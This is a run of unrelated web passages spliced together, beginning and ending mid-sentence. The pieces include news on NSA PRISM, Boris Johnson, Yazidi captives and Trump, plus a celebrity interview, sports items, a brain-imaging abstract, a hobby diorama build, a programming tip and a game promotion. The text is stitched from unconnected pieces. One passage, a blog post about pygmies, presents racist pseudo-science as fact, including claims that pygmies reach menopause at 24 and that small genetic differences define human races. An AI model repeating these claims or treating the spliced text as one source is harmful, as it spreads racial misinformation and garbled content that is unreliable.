have flatly denied that they provide the government backdoor access to their services, according to a variety of news sources. Twitter, which says it has been particularly vigilant in protecting user data from government agencies, is notably absent from the list. Dropbox is next in line to be added to PRISM, according to the Post. 10 The number of different types of data that are collected through PRISM. E-mails, instant messages, videos, photos, stored data (likely items stored on cloud services like Google Drive), voice chats, file transfers, video conferences, log-in times, and social network profile details have all been monitored by the government. Through PRISM NSA officials can even conduct live surveillance of someone doing a Google search, according to the Post. (MORE: The NSA Snooping Scoop: Behind the Guardian‘s Risky Plans for Global Expansion) $20 million The annual cost of PRISM, according to NSA documents obtained by the Post 2007 The year PRISM was established. The Post describes an “exponential growth” in the program since President Obama took office. The government has snooped on other forms of communication in recent years as well. On Thursday, Senator Dianne Feinstein confirmed that the NSA phone log database has been in place for at least seven years. 1,477 The number of times PRISM data was cited in 2012 as part of President Obama’s daily briefing, a high-level intelligence presentation given to the president, the vice president and select cabinet members. According to the Post, at least 1 in 7 intelligence reports from the NSA make use of PRISM data. 51% Confidence level intelligence officials are supposed to have of a target’s “foreignness” to make use of PRISM data. The massive database is aimed at surveilling spies and foreign terrorists, not Americans. However, large amounts of American user data is also picked up as officials hunt for threats. The NSA describes this as “incidental.” MORE: Verizon, Telephony Metadata, the National Security Agency and You -BBC/GETTY Polly Mackenzie said Boris Johnson is now losing his shine Polly Mackenzie, the former advisor to Nick Clegg, expressed her doubts about Boris Johnson’s popularity. The Foreign Secretary has been at the centre of a series of gaffes and controversies since his appointment to Cabinet. He was accused of undermining Theresa May’s authority by releasing an article in The Telegraph before the Prime Minister’s all-important Florence Speech in which he set out his own vision for Brexit. Newsnight presenter Kirsty Wark asked if Theresa May would like to get rid of Boris Johnson if she could, whether she can contain him more inside than out of Cabinet, and if he is still revered by Party members. Ms Mackenzie said: “I don’t think he is still revered. I think a lot of the shine has come off Boris as that kind of great figure of fun who might be the witty, standard bearer for conservatism. “Lots of people who admired Boris for that now have shifted to thinking Jacob Rees-Mogg as that Have I Got News For You, friendly Tory.” It comes as the Foreign Secretary made a gaffe which critics claim lengthened the detention for a British woman, Nazanin Zaghari-Ratcliffe, in Iran. Mr Johnson has faced calls to quit after telling a committee of MPs last week that Ms Zaghari-Ratcliffe was training journalists in Iran at the time of her arrest last year, something her employer and her family insist is incorrect and could be used to increase her sentence. Richard Ratcliffe, Mrs Zaghari-Ratcliffe's husband said that Mr Johnson should make a statement in Parliament to correct his mistake in an effort to prevent the sentence being lengthened. But in the Commons, Mr Johnson said the UK Government "has no doubt that she was on holiday" in Iran and that was the sole purpose of her visit. The real Jacob Rees-Mogg Wed, February 8, 2017 Jacob Rees-Mogg is one of the biggest characters in the Tory party. Known for his RP diction, humorous speeches and staunchly pro-Brexit views, the MP for Northeast Somerset is firmly in the public eye Play slideshow AFP/Getty Images 1 of 12 Jacob Rees-Mogg poses as he delivers a petition against the provision of foreign aid at 10 Downing Street in London In a statement released by the Foreign Office earlier, a spokesman did not offer any correction, saying instead that Mr Johnson's comments may have been "misrepresented" and they provide "no justifiable basis" for additional charges. Mrs Zaghari-Ratcliffe, who is serving a five-year sentence in an Iranian jail, was summoned to an unscheduled court hearing last weekend at which Mr Johnson's remarks were cited as proof that she had been engaged in "propaganda against the regime". Reports suggest the new charge could add five years to her prison term, imposed over unspecified allegations of involvement in a supposed coup attempt against the Tehran regime, which she denies. GETTY Boris Johnson has been under fire for his comments about Nazanin Zaghari-Ratcliffe The political editor for The Sun, Tom Newton Dunn, said: “I don’t think this is going to get Boris. And I will happily put my hat on the table and eat it when it’s made of marzipan at some later stage. “He screwed up, no doubt about it he made things worse. But it is still the Iranians who are doing this. “The Iranians are hooding three-year-old children when they go meet their mother, who’s also hooded. And I think as time elapses people will realise they are using his idiocy to make matters worse for their own pretty despicable ends.” BBC Tom Newton Dunn does not think Boris Johnson is finished because of the gaffe -The rising popularity of online video game streaming—that is, watching other people play video games live—really hit the mainstream once Twitch, the Internet's largest game-streaming platform, was bought out by Amazon for nearly a billion dollars last year. Anyone who thought that asking price was insane may not have realized that Google was about to spend roughly the same amount to acquire Twitch. In short, the value of running a game-streaming platform is rising, and the tech industry's big dogs know it. As such, we weren't surprised to see a Tuesday report alleging that Google's YouTube arm is moving ahead with a game-streaming backup plan. The Daily Dot, quoting "sources within the streaming industry," reported that a "new-look YouTube Live" will launch in the foreseeable future, and that service will target live gaming and e-sports content in particular. As proof of its seriousness, YouTube has already hired over 50 streaming-savvy engineers, the report said, and it hinted to "promotions and partnerships" designed to encourage more e-sports viewing on the main YouTube site. The Daily Dot predicted a YouTube Live reveal timed around this June's Electronic Entertainment Expo in Los Angeles. When asked about the report, a YouTube representative declined to comment to Ars and instead sent us an animated GIF of a little girl shrugging her shoulders. (No, seriously. This one.) Assuming this report is accurate, we at Ars figured this was a matter of when, not if. In August, Peter Bright wrote about the infrastructure YouTube already has in place to support hobbyists' live video streaming, not to mention Google's ability to purchase exclusive streaming rights to all kinds of e-sports events. Bright also pointed to Twitch's uneven video-archive support—a fact that has kept a lot of high-earning streamers attached to YouTube, meaning they wouldn't have to walk very far to switch teams. -2 of 5 Greg Bartram-USA TODAY Sports Commence the Gregg Berhalter era in Columbus. The former U.S. men's national team defender was announced as the seventh head coach in club history last November. After spending the last two years overseas, Berhalter returns to the league he called home during the twilight years of his career. His enrollment in the MLS coaching ranks, however, is not the first time he's held the reins at a professional level. After retiring as a player in 2011, Berhalter was named head coach of Swedish club Hammarby IF. His appointment was a historic one. The New Jersey native became the first American to ever manage a professional football club in Europe. He was fired after 19 months due to lack of productive play from the offensive side. Ironically enough, that's exactly what Berhalter expressed he'd like to bring to Columbus in his introductory press conference last year: My ideas about soccer are attacking minded views, that [involve] a dynamic team that can get forward very quickly - that can move the ball quickly. I believe in a possession-based game and I would say that the defensive side of it has to do with organization. I want to organize defensively. I wouldn't necessarily make that link though to the team being defensive minded. My ideas about soccer are very offensive and I want the team to play nice and attack the football. But all coaches say that on day one. What all coaches don't say—or at least aren't supposed to say, according to Portland Timbers owner Merritt Paulson—are the reasons one decides to turn down a proposed transaction. That's exactly what Berhalter did when he publicly expressed why the Crew opted not to accept a loan for Toronto FC midfielder Matias Laba. That's exactly what Paulson took issue with on his Twitter account. Well, indirectly: "If coach thumps his chest to media about specific trades he has rejected, he ain't getting more trade offers. Amazing that happens." Rule of thumb: Don't subtweet. A ball hasn't even been rolled yet and Berhatler is already ruffling a few feathers. These aren't exactly the type of headlines a blue-collared club like the Columbus Crew typically garnish. So, yes, commence said era. -In fashion as in life, Kristen Stewart has always challenged gender norms with her androgynous beauty – which makes her the perfect face of Chanel's new fragrance, Gabrielle, inspired by the legendary founder of the couture house. But she is also very much her own woman, as independent-spirited when it comes to fame and feminism as she has been in facing down Donald Trump. Kristen wears Chanel on the newsstand cover Read highlights from the interview below: On being in love: "I've been deeply in love with everyone I've dated. Did you think I was faking it? I've always really embraced a duality. And really, truly, believed in it and never felt confused or struggling. I just didn't like getting made fun of." On dating men again: "Yeah, totally. Definitely… Some people aren't like that. Some people know that they like grilled cheese and they'll eat it every day for the rest of their lives. I want to try everything. If I have grilled cheese once I'm like, 'That was cool, what's next?'" Kristen with then-boyfriend Robert Pattinson in 2011, and with current girlfriend Stella Maxwell in June 2017. Getty Images On fame: "Fame is valued quite ridiculously. So then there's this idea that you're beholden in some way, and I resent that. And it comes across like I'm ungrateful or something but, actually, I just find it weird to talk to the general public as a whole. Like, you can relate to a person, you can relate to an individual, but addressing the world at large is something that just perplexes me." On whether she suffers from 'Resting Bitch Face': "Completely. I'm really not introverted - I'm just not acting all the time, which is what it would take to look like how people expect famous people to behave." "Men cannot say bitch anymore, I'm sorry. Say something different. Say, 'You're rude,' say, 'You're a dick,' whatever. Just to say, 'Oh that bitch.' You can't say that because there's nothing I could say to you, there's no retort that would be equal to that, therefore it's demeaning and literally on par with... something homophobic or something racist." On life as a woman in the United States, post Trump: "It's obviously terrible what's happening but at the same time, it feels good to be part of a wider female community that is finally standing up for itself. I've never felt such a strong sense of community. So it's brought us together. The catalyst for this is regrettable, obviously, it's shitty. But at the same time I think that you need something to stir things up in order to get people to come together and define their opinions and force them to be heard." Kristen wears Chanel, photographed by Tom Craig On her tomboy style: She used to dress as "a total tomboy" and it was only at school that she realised it was "not the most normal thing. Not all little girls are that way. And it actually really hurt my feelings, like badly. Like, I remember being in the sixth grade [aged 11] and [people would say] 'Kristen looks like a man. You're a boy', or whatever, and I was so offended, horrified and embarrassed. Now I look back on it and I'm like, 'Girl, be proud of that!'" Everything shifted when Stewart hit puberty and grew her hair long. Suddenly she was accepted as one of the pretty girls "and I was like, 'Fuck all of you!'" Watch below as Kristen explores Coco Chanel's apartment following her cover shoot: The September issue of Harper's Bazaar is available on newsstands from 4 August. -The latest victim of Deflategate? A New York City courtroom sketch artist named Jane Rosenberg. Her rendering of the Tom Brady/NFL hearing (see above) went viral earlier on Wednesday -- and not in a good way. When VICE Sports reached Rosenberg for comment, she was apologetic: "Tell Tom Brady I'm sorry. He's a very good looking guy, and if I didn't make him look good enough, I'll try harder next time." But in an interview with The Boston Globe, Rosenberg was a bit more direct: "I don't tend to flatter people and make them look beautiful," adding that Brady was often checking his cell phone during the hearing. "He hardly looked up at all." Courtesy Jane Rosenberg More from Rosenberg's interview with VICE: "I'm working very quickly. Obviously I have a lot of pressure on me, and it's time pressure. It's lucky if I have a few minutes. So I'm just trying to grab onto something, just as quick as I can. Now, this Tom Brady thing, I did this whole wide shot with a million people in it. And everybody's focusing on that one little fraction of the whole picture, of Tom Brady." All fair points. Now we await a potential sketch encore, as Brady & Co. will be back in court on Aug. 19. Rosenberg would be wise to call in sick, lest she get engulfed by #deflategatetwitter once again. -Many of us have assumed that the relative media silence over the ongoing genocide of pygmies in Africa is due to a desire to avoid, whenever possible, depicting black Africans in a negative light. While there is definitely some truth to this, there might be another, more sinister, motivation behind this neglect. The leftist establishment assumes, as a matter of faith, that race is not a meaningful biological concept. That racial differences are superficial. Mathilda writes (in a comment): http://216.239.59.104/search?q=cache:8YUaBabaYWIJ:genomebiology.com/2002/3/7/comment/2007+neil+risch+race+skin+deep&hl=en&ct=clnk&cd=2&gl=uk And other world renowned geneticists and physical anthropoligists are behind race as a valid descriptive term. It’s about a 50-50 split. Look up Niell Risch. The pro-race ones aren’t as noisy though, as people like you automatically have a hissy if someone observes one of the many racial non-cosmetic differences between human poopulations. Such as… http://www.newscientist.com/blog/shortsharpscience/2007/03/black-and-asian-babies-at-increased.html Age of menopause Height Lung capacity Life span Muscle and bone density Pregnancy duration.Age of menopauseHeightLung capacityLife spanMuscle and bone density http://www.physorg.com/news117456722.html To name but a few. If you don’t believe me, have a root through this blog. Pygmies hit the menopause at 24, I’d hardly call that ‘no difference’. They are geriatric in their fifties. They seem to age nearly twice as fast as average humans. http://www.usatoday.com/news/health/2007-09-03-dna-differences_N.htm We are 99% the same as each other (revised by Venter recently). Not the 99.9% the same you see touted about so often. This is a fair amount of differences, as we are 98.4% the same as a chimp, so a small amount of DNA can make a lot of difference. Contrary to what is commonly reported in thn Media, we are not ‘unusually closely related’ to each other compared to other mammals. We are fairly average. BTW, the 4% variation in human only DNA that defines us as races… in other species the same amount can easily define a new species, let alone a sub species. Read up on Chichlid fishes. -Healthy aging is accompanied by a decline in spatial working memory that is related to functional cerebral changes within the spatial working memory network. In the last decade, important findings were presented concerning the location (e.g., prefrontal), kind (e.g., ‘underactivation,’ ‘overactivation’), and meaning (e.g., functional deficits, compensation) of these changes. Less is known about how functional connections between specific brain regions are affected by age and how these changes are related to behavioral performance. To address these issues, we used functional magnetic resonance imaging to examine retrieval-related brain activation and functional connectivity in 18 younger individuals and 18 older individuals. We assessed working memory with a modified version of the Corsi Block-Tapping test, which requires the storage and reproduction of spatial target sequences. Analyses of group differences in brain activation and functional connectivity included comparisons between younger individuals, older individuals, older high-performers, and older low-performers. In addition, we conducted a functional connectivity analysis by using a seed region approach. In comparison to younger individuals, older individuals showed lower right-hemispheric dorsolateral prefrontal activation and lower functional connectivity between the right dorsolateral prefrontal cortex and the bilateral orbitofrontal cortex. Older high-performers showed higher right dorsolateral and anterior prefrontal cortex activation than older low-performers, as well as higher functional connectivity between these brain regions. The present results suggest age-related reductions of prefrontal activation during spatial working memory retrieval. Moreover, task-related functional connectivity appears to be lower in older adults. Performance accuracy in older adults is associated with right dorsolateral and anterior prefrontal cortex activation, and with the functional connection between these regions. -I originally wanted to recreate the final fight between the Barbatos and Graze Ein from the anime for my first diarama. Didn’t feel like buying the 6th form HG Barbatos but I had the HG Barbatos that came with the Long Distance Booster. Looked into how much model buildings cost (they are expensive) and didn’t want to scratch build them so I went with a forest fight. From there I came up with a concept that had the Graze Ein win the fight by drill kick and thought I would try using a motor to to have it drilling. Started off with a 16″ x 10″ wood base and used cork board to build up the cliff sides. That was a bad idea since the layers are so thin and cork is not that easy to cut. I’ll definitely go with Styrofoam next time. Added a large sheet of cork to put on the base so i can lift the terrain part and run wires through the base. Forgot to take pics of the final cork cliff layout. Used plaster cloth to cover the ground and cliff areas. Once that dried, I added rock plaster castings and hid the edges with more plaster cloth. I used the Outcropping, surface and boulder rock molds from woodland scenics. Once that layer dried I added more plaster to the ground to remove some of the flatness. I used the kits to leave inpressions in the plaster to make my life easier later on. The Painting I used woodland scenics leopard spotting technique (https://www.youtube.com/watch?v=3SfP4RpcDYw) to paint the rocks. Used burnt umber, slate and black for the colors. Used earth undercoat to paint the rest of the base. This took several layer to get the look I wanted. The Plants I masked off the areas that i wanted to keep as dirt and started adding layers of Woodland scenics fine and course turf (https://www.youtube.com/watch?v=BQBDf6vQ_v8) Removed masking tape and checked the kits to make sure they still fit in the exposed areas. Once the base layer of grass was down, I added bushes, vines and trees. -The New England Patriots don't have a first round pick, but they are in a position to acquire a first round talent- without having to trade to trade up. MMQB's Peter King spoke with ten high ranking personnel decision makers around the league and they all pointed towards the equal level of talent in this draft that could benefit the Patriots with their two picks at the bottom of the second round. "Twenty-five to 55 is the same player, to me," one said. "Eleven to 40 is the same guy," echoed another. "To us, 18 to 48 you can get the same player," said yet another decision maker. "Load me up with twos and threes in this draft," a fourth agreed. "That's where I'd want a lot of picks." "It's the kind of draft where the 50th player on some team's board will be the 17th player on another team," draft evaluator Gil Brandt said. "And the 17th player on the first team could be the 50th on that other team." This isn't to say that the players available at the end of the first round in this draft would be the equivalent to players at the end of the first in any other draft. The 2016 draft class is incredibly short on top tier talent, but the depth in the next tier of players is outstanding. One evaluator told King that he thinks there are 90 immediate impact players on defense in the draft, versus just 40 impact offensive players. It's easy to agree with this evaluation, and it points towards the Patriots likely having to use an earlier draft pick on the offensive side of the ball if they want to leave with one of the top players. The Patriots currently have the 60th and 61st picks in the draft, both at the end of the 2nd round. New England wasn't expecting 2015 first round pick defensive tackle Malcom Brown to be available last year because Brown was projected to be a top 20 selection. If any player slips down the board this year, the Patriots will be in position to pounce. The following players are fringe first round candidates that could interest the Patriots and could be available towards the end of the second round: Running back: Alabama's Derrick Henry Wide receiver: Ohio State's Michael Thomas, Rutgers' Leonte Carroo, Oklahoma's Sterling Shepard, Pittsburgh's Tyler Boyd Tight end: Arkansas' Hunter Henry Offensive tackle: Unfortunately this is a weak offensive tackle class outside of the top five prospects. Edge defender: Florida's Jonathan Bullard, Michigan State's Shilique Calhoun, Georgia's Leonard Floyd Defensive tackle: Penn State's Austin Johnson, Mississippi State's Chris Jones, Louisiana Tech's Vernon Butler, UCLA's Kenny Clark, Ohio State's Adolphus Washington Cornerback: Virginia Tech's Kendall Fuller If any of these players are still on the board after the 50th pick, don't be surprised if the Patriots start making some phone calls to potentially move up the draft board. -Yazidi's wait for medical assistance from doctors at Al-Tun Kopri health centre, located half way between the northern Iraqi city of Kirkuk and Arbil (AFP Photo/Safin Hamed) ALTUN KOPRI (Iraq) (AFP) - The Islamic State (IS) group released more than 200 mostly elderly members of northern Iraq's Yazidi minority Saturday who had been held for months, officials and activists said. The Yazidis were freed on the front line southwest of the city of Kirkuk and met by Kurdish peshmerga forces who brought them to a health centre in Altun Kopri, on the road to the Kurdish regional capital of Arbil. "These men and women had been held in Mosul," Khodr Domli, a leading Yazidi rights activist told AFP at the centre. "We already have names for 196 and there could be some more." "Some are wounded, some have disabilities and many are suffering from mental and psychological problems," he said. According to officials from Kirkuk and Arbil, the group was moved from Mosul via Hawija and freed at the Khaled entrance to Kirkuk on Saturday. Dozens of Kurdish doctors and nurses provided emergency care at the Altun Kopri health centre, where Yazidis who had heard the news started to mass at the gates, hoping to be reunited with missing relatives. "We have dispatched laboratory teams to check their blood, to control for things such as polio and possible contagious diseases," said Saman Barzanji, director general of the Arbil health department. "Another team is here to handle the people's immediate health needs. We have also deployed ambulance teams to dispatch emergency cases to hospital," he said. Those freed, some in wheelchairs, others leaning on walking sticks, looked tired and distraught as they waited to give blood samples. One of them told how they had been moved from one place to another in northern Iraq since being captured in early August. "It was so hard, not only because of the lack of food but also because I spent so much time worrying," said an old Yazidi man in a rickety wheelchair, wearing a red and white headscarf. - 'They were a burden' - IS spearheaded a June offensive that began in Mosul and overran much of Iraq's Sunni Arab heartland north and west of Baghdad, sweeping security forces aside. After driving south toward Baghdad, IS again turned its attention to the north, pushing Kurdish forces back, killing and capturing thousands of Yazidis and twice besieging others on Mount Sinjar. Officials told AFP the mass release, the largest of its kind, took them by surprise and said there had been no coordination with IS. "IS must have decided that they could no longer feed them, look after them. They were a burden," said Domli. "IS saw that there was no benefit for them in keeping these old people," said Vian Dakhil, a Yazidi member of the Iraqi parliament who made a poignant appeal to the international community for assistance in August. Days later, US President Barack Obama announced an air campaign and said the threat of a genocide against the Yazidis was one of the main justifications. Peshmerga and other Iraqi forces, backed by a multinational campaign of air strikes, may have turned the tide against the jihadists. "The fact that the peshmerga are regaining ground every day must have played a part in the release. IS is under pressure and is having to reorganise constantly," Dakhil told AFP. Hundreds and possibly thousands of Yazidi women and girls have been forced to marry or been sold into sexual slavery by the jihadists, according to Amnesty International. Dakhil said she thought around 3,000 women and children were still in IS captivity. Most of the survivors at the health centre said they had recently been held at the Shallalat resort on the outskirts of Mosul. A peshmerga officer said one survivor had told him there were 3,070 of them held there before Saturday's mass release. "He told me he knew the figure because he overheard IS militants mentioning it when discussing the number of meals they had to serve," the officer said. -A short public service announcement: you might think you don't need Cabal. Oh, you might be just whipping up a tiny throw-away script, or a small application that you never intend on distributing. Cabal? Isn't that what you do if you're planning on sticking your package on Hackage? But the Cabal always knows. The Cabal is always there. And you should embrace the Cabal, even if you think you're too small to care. Here's why: Writing a cabal file forces you to document what modules and what versions your script worked with when you were originally writing it. If you ever decide you want to run or build your script on another environment, the cabal file will make it dramatically easier to get your dependencies and get running faster. If you ever update your modules, the cabal file will partially insulate you against API changes (assuming that the package follows Hackage's PVP). This is far more palatable than GHC's package-qualified imports. You might have cringed about writing up a Makefile or ant file to build your projects in another language; as long as it is just one or two files, the pain associated with these build languages seems to outweight the cost of just running gcc foo.c -o foo . Cabal files are drop-dead easy to write. There even is a cabal init to do the scaffolding for you. Toss out the dinky shell script that you've kept to run ghc --make and use cabal configure && cabal build . It gives you nice things, for free! Do you want Haddock documentation? A traditional GNU-style Makefile? Colourised code? Cabal can do all of these things for you, with minimal effort after you have your cabal file. -Ridley Scott’s 2015 sci-fi blockbuster, The Martian, is considered a return to form for the legendary director. This week, you’ll be able to enter the world of the movie with a new VR experience. You may have heard of The Martian VR Experience before. Developed at 20th Century Fox’s Fox Innovation Lab along with RSA Films and The Virtual Reality Company, the cinematic piece has been shown at a handful of events throughout the year but, tomorrow, you’ll get to experience it at home on both the HTC Vive and PlayStation VR. This isn’t a simple 360 degree experience like other Fox VR projects such as Wild; it’s a full VR production that uses position-tracked controls. You take on the role of astronaut Mark Watney, played by Matt Damon in the movie, and experience key scenes like driving a rover across the surface of the red planet, and flying through space. While it’s not necessarily a VR movie, it might be closer to something like Batman: Arkham VR, as a shorter experiential piece in which you won’t have to worry about failure. It’s built in Epic Games’ Unreal Engine 4. This likely isn’t the first time HTC Vive owners will have visited Mars, and nor will it have been the last. Experiences like Mars Odyssey are already available and others like Mars 2030 are still on the way. We’ll also be seeing more of Ridley Scott’s worlds in VR; the upcoming Blade Runner sequel will have VR tie-in content, as announced back at Oculus Connect 3 last month. It may be a promotional experience, but Fox certainly thinks it’s worth a price; The Martian VR Experience will cost $19.99. We’ll be interested to see the difference between the Vive and PS VR versions. We’ve also asked after the possibility of an Oculus Rift version, though it would likely arrive once Oculus Touch releases in early December. Would you pay for an experience like this? Tagged with: Mars, ridley scott, sci-fi, The Martian VR Experience -APRIL 27--For the first time ever, a defendant has been charged in connection with a xylophone rage incident, records show. According to investigators, Floridian April Encarnacion, 43, was collared earlier this month on a domestic battery charge after police responded to a residence in Fort Walton Beach. Encarnacion, cops say, was in the kitchen with the male victim, who “was playing a xylophone” around 9:20 PM. Encarnacion--apparently not enjoying the Friday evening musical performance--“asked him to stop,” according to a court filing. When the man refused, Encarnacion, seen above, “dumped a pot of cold cooking grease on him.” An officer who responded to a 911 call noted that the victim had wet spots on his shirt and shorts, and that “there was a puddle of liquid on the ground where the victim was sitting near the xylophone.” During police questioning, Encarnacion--who is jailed in lieu of $3000 bond--reportedly confessed to the April 14 attack. Charged with misdemeanor battery, Encarnacion is next scheduled for a May 2 court appearance. Encarnacion, an unemployed housekeeper, is already serving a probation sentence in connection with a 2015 no contest plea to a felony charge of battery on a police officer. An arrest report does not reveal whether the xylophone was of the Fisher Price variety or more like the instrument pictured below. (2 pages) -As an outcome from the continuous hybrid renewable energy research, an innovative outdoor lighting system powered by a shroud-augmented wind turbine and a solar panel was installed in the Kuala Lumpur campus of University of Malaya (UM). As an outcome from the continuous hybrid renewable energy research, an innovative outdoor lighting system powered by a shroud-augmented wind turbine and a solar panel was installed in the KL campus of University of Malaya (UM). This hybrid green energy system is a compact design that harmoniously integrates a vertical-axis-wind-turbine (VAWT) with the novel omni-direction-guide-vane (ODGV), solar panel and LED lighting system. Consisting of several guide vanes, the ODGV is carefully designed and placed to surround the VAWT for wind power augmentation where the oncoming wind is guided through the ODGV. This will create a venturi effect that increases the wind speed before the wind-stream interacts with the turbine blades. Furthermore, the unique design of the ODGV that shrouds the wind turbine rotor provides a safer and more secure environment for maintenance workers and the public. Ultimately, the ODGV overcomes the low wind speed challenge in the tropics by guiding and increasing the speed of the wind from all directions radially through the guide-vanes before entering the VAWT at center portion. To harness power from the sun, a photovoltaic panel is mounted on the top surface of the ODGV for solar energy generation. The green energy generated from this wind-solar hybrid system is utilized to power the outdoor lighting system. The team led by Dr. Chong Wen Tong was awarded a Pre-commercialized Prototype Fund to develop and install the product at suitable locations in the campus. The fund was provided by UM via UM Center of Innovation and Commercialization (UMCIC). The first unit was installed next to the outdoor gymnasium, opposite 1st Residential College. This unit will serve as the first full-scale trial and as a showcase unit of the product. Improvements on the design and features will be included in the next units. For the commercialization of this product, a Memorandum of Understanding (MoU) has been signed between UM and a private company, Master Shanghai Turnparts Sdn. Bhd. (MSTSB). MSTSB has provided great assistance in enhancing the product. The second unit of the product is currently in the final stages of fabrication and testing. The product is protected by three intellectual properties and a trademark, all of which is owned by UM. It also has won several awards in local and international exhibitions. With a motto 'Lighting-up UM', the team aims to provide a sustainable solution for energy efficient and quality lighting powered by wind-solar hybrid renewable energy sources. Summary of the product The product is a part of an UMRG project led by Dr. Chong Wen Tong. The product is called "Eco-GreenergyTM Wind-Solar Outdoor Lighting System" and it is self-sustained, i.e. powered by the shrouded vertical-axis-wind-turbine generator and solar PV panel. The novelty of the product is achieved through the wind power augmentation of the guide-vanes assembly known as the omni-direction-guide-vane (ODGV). The guide-vanes can be made from clear and translucent material to act as light-plates. Moreover, logos or symbols can be engraved on these plates for showcasing purposes. The solar PV is positioned at the top portion of the ODGV to avoid interference resulting from shadow. The batteries and the controller are stored at the top of the pole and below the ODGV to avoid vandalism or flash floods. The overall "clean" impression of the product compared to other conventional wind-solar lamp posts serves as an added advantage for this product. -0 SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard Donald Trump has some serious issues that are absolutely getting in the way of his ability to function on any kind of expected, adult level. This was never cute. But now President Trump is whining about the media not covering his “enthusiastic supporters” while Russian smokes threatens to bring this country down thanks to him and his administration. This is more than pathetic. It’s deeply troubling. Just leaving Florida. Big crowds of enthusiastic supporters lining the road that the FAKE NEWS media refuses to mention. Very dishonest! — Donald J. Trump (@realDonaldTrump) February 12, 2017 Donald Trump’s National Security adviser was busted Thursday and Friday for having talks with the Russian ambassador about the sanctions imposed in retaliation for Russia interfering with our election. He had some of these talks before the election. Before Donald Trump won the election. On Friday, a top aide to Trump’s NSA was denied security clearance. Friday and Saturday, Democrats called for Trump to fire his National Security adviser. Friday evening, Trump pretended he knew nothing of the explosive report that his NSA was talking to Russia even before the election. Sunday, Trump adviser Stephen Miller refused to comment on this matter saying the White House hadn’t given him anything to say on it. On Sunday, a former national security expert quoted a Senior Pentagon intelligence official as saying, “Since January 20, we’ve assumed that the Kremlin has ears inside the Situation Room… There’s not much the Russians don’t know at this point.” On Sunday evening, Michael Flynn was on Air Force One with President Trump, returning to D.C. So basically D.C. is on fire with Russian flames encroaching our most vital national security and Donald Trump is whining about crowds and the media. Senator Al Franken said today that a few Republicans are worried about Trump’s mental health. Just a few? That says a lot. If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human: -Information on Darksiders II Deathinitive Edition release (ENG/GER) Hey there - please find a message from my colleague, Philipp, below - you are for sure keen on more information on the Darksiders II Deathinitive Edition releaseThis is a message from Philipp, PR and Marketing guy from Nordic Games.Introducing the Nordic Franchise Loyalty Program (if you’re into acronyms: NFLP) for DarksidersWith the release of the Darksiders II Deathinitive Edition on November 5th 2015, I am very excited to give you all the dirty little details on behalf of Nordic Games, and the introduction of our NFLP for the Darksiders franchise.The following post explains the 3 different tiers of said NFLP for Darksiders on Steam. In other words: these are applicable for anybody who bought a Steam version, i.e. on Steam itself, as a boxed PC Steam key version or on any other digital platform selling Steam keys.Our original plan was to have the free copy unlocked for everyone owning Darksiders II and ALL DLCs, but unfortunately this was not possible from a purely technical point of view (on Steam). Therefore we chose to give our loyal fans the closest possible option to this original plan:• Tier 1: Owners of the Darksiders Franchise Pack ( http://store.steampowered.com/sub/18777/ ), purchased or activated through Steam before November 5th, will receive Darksiders II Deathinitive Edition for PC completely• Tier 2: Owners of the original Darksiders II, purchased or activated through Steam before November 5th, will be able to pick up Darksiders II Deathinitive Edition for PC at an 80% discount for the first week of release.Edition on November 5th 2015 will get an 80% discount during the first release week• Tier 3: All newcomers to the series will be able to get Darksiders II Deathinitive Edition for PC at a 20% discount for the first week of release.“But how does this black magic work?!?!” you may wonder…If you are a Tier 1, you will find the Darksiders II Deathinitive Edition automatically as a game in your Steam library once it releases on November 5th 2015.If you are a Tier 2, you will have an 80% discount usable on your purchase of Darksiders II Deathinitive Edition during the first release week.If you are a Tier 3, you will have a 20% discount usable on your purchase of Darksiders II Deathinitive Edition during the first release week.Thank you for playing Darksiders, and I hope you thoroughly enjoy the Deathinitive Edition of Darksiders II on PC.Best regards,Philipp (PR Nordic Games)Liebe STEAM Community, hier eine Info von meinem Kollegen, Philipp, ihr seid sicher schon gespannt auf mehr Informationen zum Darksiders II Deathinitive Release:Dies ist eine Nachricht von Philipp, dem PR- und Marketingverantwortlichen von Nordic Games.Hiermit will ich euch mit dem Nordic Franchise Treue-Programm (für diejenigen von euch, die auf Abkürzungen stehen: NFTP) für Darksiders bekannt machen.Mit dem Release der Darksiders II Deathinitive Edition am 5. November 2015, freue ich mich, euch all die schmutzigen Details über Nordic Games und die Einführung des NFTP für das Darksiders Franchise zu verraten.Der folgende Post erklärt die 3 verschiedenen Stufen der besagten NFTP für Darksiders auf Steam und für alle Plattformen, die auf Steam Keys basieren. In anderen Worten: Sie betreffen jeden, der eine Steam Version gekauft hat, entweder auf Steam selbst, als Box-Version, oder jeder anderen digitalen Plattform, die auf Basis von Steam Keys handelt.Unser ursprünglicher Plan war es, jedem, der Darksiders II und ALLE DLCs besitzt, die Gratisversion (Rang 1) anzubieten - leider wurde uns dies von einem rein technischen Standpunkt auf Steam verwehrt. Also haben wir uns für die an diesem Plan naheliegenste Möglichkeit entschieden:• Rang 1: Jeder, der zum Release der Darksiders II Deathinitive Edition am 5. November 2015 das Darksiders Franchise Pack ( http://store.steampowered.com/sub/18777/ - diese Version wird mit dem Release von Deathinitive offline gehen) besitzt, das entweder direkt auf Steam, oder aber auch durch einen Steam Key (boxed und/oder digital) aktiviert wurde, bekommt die Deathinitive Edition(freebie, gratuit, gratuito, for free, gratuito).• Rang 2: Jeder, der bis zum Release der Darksiders II Deathinitive Edition am 5. November 2015 das originale Darksiders II (auf Steam selbst oder durch einen Steam Key aktiviert, Box- und digitale Versionen) besitzt, bekommt einen Rabatt von 80% während der ersten Releasewoche.• Rang 3: Für alle Nicht-Besitzer wird es in der 1. Veröffentlichungswoche einen Rabatt von 20% geben.„Aber wie funktioniert diese schwarze Magie?!?“ wird sich vielleicht der ein oder die andere wundern…Diejenigen, die den Kriterien des 1. Rangs entsprechen, werden die Darksiders Deathinitive Edition automatisch als Spiel in ihrer Steam Bibliothek finden, sobald es am 5. November 2015 veröffentlicht wurde.Diejenigen, die den Kriterien der 2. Rangs entsprechen, werden das Spiel mit einem 80% Rabatt angeboten bekommen, der für den Kauf einer Darksiders II Deathinitive Edition verwendbar ist.Für diejenigen, auf die Rang 3 zutrifft, wird es einen Rabatt von 20% geben, der für den Kauf einer Darksiders II Deathinitive verwendbar ist.Danke für das Spielen von Darksiders, ich hoffe, dass euch die Deathinitive Edition von Darksiders II gefallen wird.Liebe GrüßePhilipp (PR Nordic Games) -I review a few dozen speakers each year, and listen to a bunch more. Most are pretty decent, a few are dreadful, and 